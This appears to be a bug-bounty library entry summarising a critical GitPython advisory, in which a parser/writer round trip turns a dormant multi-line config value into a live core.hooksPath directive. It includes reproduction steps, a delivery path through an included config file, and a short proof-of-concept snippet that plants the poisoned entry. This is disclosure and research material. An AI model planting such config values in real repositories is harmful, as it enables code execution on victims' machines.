# GitPython: Dormant multi-line git-config values are corrupted into live injected directives (e.g. core.hooksPath) on any unrelated GitConfigParser write, enabling RCE

GitPython's config writer re-serializes a dormant multi-line value as a bare new line, turning it into a live core.hooksPath directive and enabling hook RCE.

- Payout: Research
- Severity: critical
- Program: GitPython
- Found by: Pig-Tail
- Disclosed: 2026-09-08
- CVE: CVE-2026-78676
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-284h-m62q-gf8w
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-284h-m62q-gf8w
- Tags: area:oss domain:oss impact:rce kind:research platform:ghsa sev:critical tech:python technique:incomplete-fix technique:parser-differential technique:source-review vuln:command-injection vuln:rce

**Target:** git/config.py GitConfigParser read/write round trip
**Root cause:** The CR/LF/NUL injection guard is applied only to setter arguments, never to values parsed from disk; write_section() uses the unsafe _value_to_string() and replaces embedded newlines with a bare newline+tab, which real git parses as a new directive rather than a continuation.
**Steps:**
1. Craft .git/config with a valid quoted multi-line value: `zzz = "A\nhooksPath = ../evil-hooks\` followed by a continuation line `"`
2. Confirm inert: `git config --get core.hookspath` returns nothing
3. Open repo with GitPython and perform one unrelated write: `repo.config_writer().set_value("user", "name", "Test User")`
4. GitPython rewrites the file emitting `zzz = A` then a bare `hooksPath = ../evil-hooks` line
5. `git config --get core.hookspath` now returns `../evil-hooks`
6. Run `git commit`; the injected pre-commit hook executes
**How found:** Noticed the sibling GHSA fix commit c417af46 explicitly scoped itself to write-argument surface while preserving read behavior for multi-line values; traced _read()'s unicode_escape decoding into _sections and then write_section()'s unsafe re-serialization, hypothesizing the round trip corrupts the value.
**Exploitation:** Attacker ships a repo or included config file containing the dormant multi-line value; victim's GitPython tool performs any ordinary config write, activating core.hooksPath; the next hook-firing git operation executes attacker code.
**Escalation:** Delivery via [include] path pointing at a repo-tracked file merges the poisoned value into the same _sections dict, so a public repo can trigger it after clone.
**Insight:** When a project patches an injection sink, check the symmetric path: values that enter internal state via a parser and are later re-serialized by a hand-rolled writer can bypass setter-only guards. Test round-trip fidelity against the reference implementation (real git) to find writer/parser disagreements.

## Proof of concept (copied exactly from the original report)

**Poisoned multi-line config value insertion**

```
poisoned_entry = '\tzzz = "A\\nhooksPath = ../evil-hooks\\\n"\n'
    # Insert right after the [core] header line so it lives in the same section.
    new_config = original.replace("[core]\n", "[core]\n" + poisoned_entry, 1)
```

**Unrelated config write that activates injection**

```
with repo.config_writer() as cw:
        cw.set_value("user", "name", "Test User")
```

